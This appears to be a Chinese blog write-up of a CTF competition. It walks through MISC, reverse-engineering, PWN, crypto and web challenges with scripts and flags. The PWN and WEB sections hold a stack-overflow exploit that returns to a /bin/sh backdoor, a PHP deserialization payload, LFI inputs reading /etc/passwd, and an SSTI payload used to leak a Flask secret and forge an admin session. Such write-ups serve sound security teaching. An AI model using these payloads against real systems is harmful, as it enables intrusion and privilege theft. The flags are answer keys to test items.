AI 摘要

从损坏的压缩包到迷宫挑战,从PHP反序列化到SSTI攻击。这场比赛处处是经典漏洞的绝妙重现。本文将带你深入探索这些真实案例背后的破解艺术。

一、 MISC(安全杂项)

1. 签到题-损坏的压缩包

解题思路:看到打开文件之后发现有“=”,推测是 Base64 加密。

解题步骤:使用 CyberChef 在线工具进行 Base64 解密,即可得到 Flag。

Flag:flag{yznu}

2. 幻影

解题思路:看到是 .bin 文件,首先放入 010 Editor 中解析。发现文件头是 RAR 格式,并且在文件最后段发现了一段字符串:wMrHwd2ek8KQwJGSlYuXwJSRi5KSwJ+Lx5+Wn4uek8OSlZDDw5WSlZLb。

解题步骤:编写 Python 脚本,对字符串进行 Base64 解码并与 0xA6 异或完成字符转换。

解密脚本

import base64
correct_b64 = "wMrHwd2ek8KQwJGSlYuXwJSRi5KSwJ+Lx5+Wn4uek8OSlZDDw5WSlZLb"
# 解码并异或 0xA6
decoded = base64.b64decode(correct_b64)
flag = "".join(chr(b ^ 0xA6) for b in decoded)
print(flag)

输出结果:flag{85d6f743-1f27-44f9-a909-85e436ee3434}

3. 迷宫

解题思路:看到后缀是 .bin,放入 010 Editor 中解析。

解题步骤:看到结尾的“=”后,发现是 Base64 编码,所以运用 CyberChef 工具进行解码。得到纯文本密文后即可找到 Flag。

Flag:flag{83228b2031aa650acd1f278704e74c31}

4. 像素中的秘密

解题思路:文件虽为 PNG 格式,但 IEND chunk 后藏有 64 字节的 trailer data。

Trailer 结构分析

[0:4] — 4 字节未知填充 (\x00\x00\x00\x00)

[4:8] — LCG 种子 (big-endian uint32)

[8:] — 加密数据 (56 bytes)

LCG 参数:state = (1664525 × state + 1013904223) mod 2³²

解密结果:解密后的字符串为 Base62 编码。

Flag:flag{final_flag_png_lcg}

二、 REVERSE(逆向工程)

1. re re re re re re

该题目包含两部分或两种解法线索。

线索A:二进制与抓包分析

解题思路:在 .rdata 段中找到输入验证提示:Input: (0x4000), Correct! (0x4008), Wrong! (0x4011)。程序使用 fgets(buffer, 64, stdin) 获取输入,并要求 strlen(buffer) 必须为 38 (0x26)。

验证算法 (0x1480)

  • 进行 38 轮循环。
  • 使用 8 字节循环密钥 k = xor_key[i & 7],对输入进行 XOR 变换 idx = input[i] ^ k。
  • 进行 S-BOX 查表对比:if sbox[idx] != target[i]。

利用方式:使用 Burp Suite 发送 POST 请求获取。

Flag:flag{609841e34e5ef3a17c8c13181ccbe154}

线索B:Python 字节码分析

解题思路:使用 Python 的 marshal 模块加载 .pyc 文件,提取代码对象结构。发现解密逻辑为 Base64 解码后与密钥进行 XOR 运算。

解密脚本

import base64
encoded = 'oaumoLz+oKqlsqnz/+qg8Kir6ret/73qq7Gx/+quqPC39Km3srar8vW6'
key = 199
decoded = base64.b64decode(encoded)
flag = ''.join(chr(b ^ key) for b in decoded)
print(flag)

2. Prvrtse3

解题思路

  1. Origin 为 CrackMe_1_2.apk。
  2. JADX 反编译 DEX:MainActivity.onCreate() → btnVerify 监听器 → NativeBridge.c()。NativeBridge 声明了 native 方法 a/ab/b/c/cd/dc。
  3. 解包 APK:提取 lib/x86/libmyapplication.so (362 KB),这是一个 strip 过的 ELF 32-bit x86 库。
  4. 分析 JNI_OnLoad (0x24f20):调用 FindClass → RegisterNatives 注册了 3 个方法。
  5. 分析核心加密函数 (0x25740):处理数据块大小 64 (0x40),存在 XOR 操作(流密码),调用 quarter round 函数 0x271a0,确认为 ChaCha20 实现。
  6. 分析 ChaCha20 block 函数 (0x26cc0):提取 Key、Counter、Nonce 常数。
  7. 分析验证函数 c() (0x25330):获取输入,加密后逐字节与硬编码密文比较。硬编码密文为 d097c3f6d2238172e871ee74bca5859f88178f6e。

参数提取

  • Key (32 bytes): 14 92 63 a1 6f 2d 89 cb f0 37 5b 1c a9 4e 78 d3 22 60 17 ee 9a bc 4d 08 53 e1 76 2a 8d c4 90 3f
  • Nonce (12 bytes): 44 33 22 11 ab cd ef 66 88 99 aa 55
  • Counter: 1

攻击脚本(节选核心):

# 从 libmyapplication.so 提取 of ChaCha20 参数
key = bytes.fromhex('149263a16f2d89cbf0375b1ca94e78d3226017ee9abc4d0853e1762a8dc4903f')
nonce = bytes.fromhex('44332211abcdef668899aa55')
counter = 1
# 从 APK 中提取的密文
ciphertext = bytes.fromhex('d097c3f6d2238172e871ee74bca5859f88178f6e')
flag = chacha20_decrypt(key, counter, nonce, ciphertext)
print(f"Flag: {flag.decode()}")

Flag:flag{hnctfqwer54321}

3. DES加密验证

解题思路

  1. APK 解包与反编译:通过 JADX 分析 com.cr.crackme2.MainActivity,发现其动态加载 assets/classes3.dex 并调用原生验证函数 native verifyFlag(String)。
  2. 逆向 libcrackme2.so:提取该 SO 文件并分析。验证流程为获取用户输入后,使用 des_ecb_encrypt 进行 DES ECB 加密(密钥为 12345678)。加密结果转为 Hex 字符串后与预期值进行比较。

解密脚本

import binascii
hex_str = "666c61677b47485163594b3271425747573471344a5556316262417d04040404"
decoded = binascii.unhexlify(hex_str)
flag = decoded[:-4].decode('ascii') # 去除 PKCS7 填充

Flag:flag{GHQcYK2qBWGW4q4JUV1bbA}

三、 PWN(二进制漏洞利用)

1. vuln

侦察分析:包含关键字符串 /bin/sh,存在 system@plt 函数调用。使用了无边界检查的危险函数 gets()。

反汇编分析

  • backdoor @ 0x4011f6: 直接调用 system("/bin/sh")。
  • login @ 0x40120d: 用户名处 read() 有 64 字节限制,但密码处 gets(rbp-0x80) 无限制,可发生栈溢出。

漏洞利用:栈帧共 128 字节,溢出覆盖偏移为 0x80 + 8 = 136 字节到返回地址。64位系统需要 ret gadget (0x40101a) 做 16 字节栈对齐,最后劫持返回地址到 backdoor。

Exploit 代码

#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
# 密码处溢出
payload = flat([
    b'A' * 0x88,         # 覆盖到返回地址
    0x40101a,            # ret 对齐栈 (修复movaps问题)
    0x4011f6,            # system("/bin/sh")
])
r.sendline(payload)
r.interactive()

Flag:flag{3f48c7a7f6563f3a043f940f6809d599}

2. MessageBoard

安全机制 (Checksec):No canary(栈溢出可直接覆盖返回地址)、No PIE(代码地址固定)、No NX(栈上代码可执行)、Has RWX segments(存在可读可写可执行内存段)。

漏洞分析:vuln 函数中,printf("Buffer at: %p\n", buf); 泄漏了栈地址。随后 read(0, buf, 256); 读取超出缓冲区大小 buf[128] 导致溢出。

Exploit 构建:写入 shellcode,填充剩余空间到 offset (136 字节),然后将返回地址覆盖为泄漏的 buf 地址,直接执行 shellcode。

Flag:flag{525688d57e55339f2bbf411d1797c0d9}

四、 CRYPTO(密码学)

1. RSA 极小指数攻击

解题思路:脚本给定了 e = 3 的极小公钥指数,无填充,且 c 仅约 730 bits,而 n 为 1024 bits,满足 c < n。因为 m^3 < n,模约减从未发生,所以直接使用小指数攻击(Cube Root Attack)对 c 开立方即可。

解密脚本

from Crypto.Util.number import long_to_bytes
import gmpy2
# 给定 n, e, c... (省略大数)
m, exact = gmpy2.iroot(c, 3)
flag = long_to_bytes(int(m))
print(flag.decode())

Flag:flag{07f7b9e5cd7961b237aa0eed1b317aa8}

2. RSA 中国剩余定理与 Coppersmith 攻击

解题思路:给定了三组模数 n1, n2, n3 及对应的系数,需要计算标准化首一多项式系数。随后使用中国剩余定理 (CRT) 组合系数 A, B, C,最后通过 SageMath 构建多项式并使用 Coppersmith 算法 (small_roots()) 求解明文。

Flag:flag{47bb21ca99bd894177f689ec102a1aad}

3. ECDSA Nonce Reuse

漏洞原理:当 ECDSA 签名中两条不同消息使用相同的 nonce k 签名时,r 值相同。通过公式推导 k = (z₁ - z₂) · (s₁ - s₂)⁻¹ mod n,然后回代求私钥 d = (s₁ · k - z₁) · r⁻¹ mod n,只需两条签名即可完全恢复私钥。

解密脚本

import json
from hashlib import sha256
from ecdsa import SECP256k1, SigningKey
# 提取数据后代入公式
k = ((h1 - h2) * pow(s1 - s2, -1, n)) % n
d = ((s1 * k - h1) * pow(r, -1, n)) % n
d_hex = hex(d)[2:]
flag = f"flag{{ecdsa_nonce_reuse_{d_hex[:32]}}}"

Flag:flag{ecdsa_nonce_reuse_d35fe9a03a2162fd5441bb19346d95fd}

五、 WEB(Web 安全)

1. WEB-Snake_Game

侦察结果:经典的贪吃蛇游戏,游戏结束时通过 POST 请求将 score 提交到 index.php。若 score >= 300 返回 Flag。

漏洞分析:服务端完全信任客户端提交的分数,没有任何服务器端验证(如校验步长、游戏时长或签名校验)。

利用方式:直接抓包伪造请求头,POST score=300 到 index.php 即可。

Flag:flag{609841e34e5ef3a17c8c13181ccbe154}

2. PHP_Payment

侦察结果:在数字资产商城页面中,查看 app.js 发现 API 端点 /api/apply_coupon.php(提现代金券)和 /buy.php(购买商品)。

漏洞分析:coupon 参数接受 Base64 编码,经过 base64_decode 后进行反序列化 (unserialize),且无签名校验,导致 PHP 反序列化漏洞。寻找可用类发现 PromoManager 类的 __destruct() 方法会将 promo_credit 属性值直接加入用户余额。

攻击载荷 (Payload)

O:12:"PromoManager":2:{s:12:"promo_credit";i:99999;s:10:"promo_code";s:3:"VIP";}

Base64 编码后提交,即可让余额增加并购买售价 99999 的 Flag。

Flag:flag{da91f6ee9d5cceef4705fd4f8af9e3f3}

3. 系统文件包含漏洞

侦察结果:目标为 Apache + PHP 搭建的 OA 系统。页面通过 ?module= 参数动态包含 PHP 文件。

系统环境侦察:

工具发现
nmapApache 2.4.51 (Debian), PHP 7.4.27
whatweb页面标题 OA System Portal
gobuster扫出 index.php 入口,未找到敏感目录

关键 Fact 节点:

序号Fact获取方式
1站点为 Apache + PHP 搭建的 OA 系统nmap/whatweb
2页面通过 ?module= 参数动态包含 PHP 文件分析 HTML 源码中的链接
3?module=/etc/passwd 成功读取系统文件LFI 测试
4flag 位于 /flag.txt遍历常见路径

漏洞推断与利用:由于代码中 include($_GET['module']); 未做任何路径过滤或白名单校验,存在本地文件包含漏洞 (LFI)。测试 ?module=/etc/passwd 成功读取系统文件。随后尝试读取 ?module=/flag.txt 获取 Flag。

Flag:flag{486494bb06932e628c595d285df9eae9}

4. TaxSystem SSTI

漏洞 1 (SSTI):在 /preview/<profile_id> 路由中,custom_footer 字段未被转义并直接通过 render_template_string() 渲染。虽然存在黑名单过滤,但 config 未被过滤,可以通过 {{ config.SECRET_KEY }} 泄露密钥。

漏洞 2 (硬编码密钥配置):代码存在硬编码默认 SECRET_KEY 配置机制,泄露后可用于伪造 Session。

攻击链

  1. 触发 SSTI 泄露 SECRET_KEY。
  2. 利用 Flask 的 URLSafeTimedSerializer 伪造 Session,提权角色至 tax_inspector。
  3. 携带伪造的 Session Cookie 访问 /admin/vault 获取 Flag。

Flag:flag{8fe0832554e14a96448f6aa57257ffc6}

附件:请评论区扣111获取

最终鸣谢大神: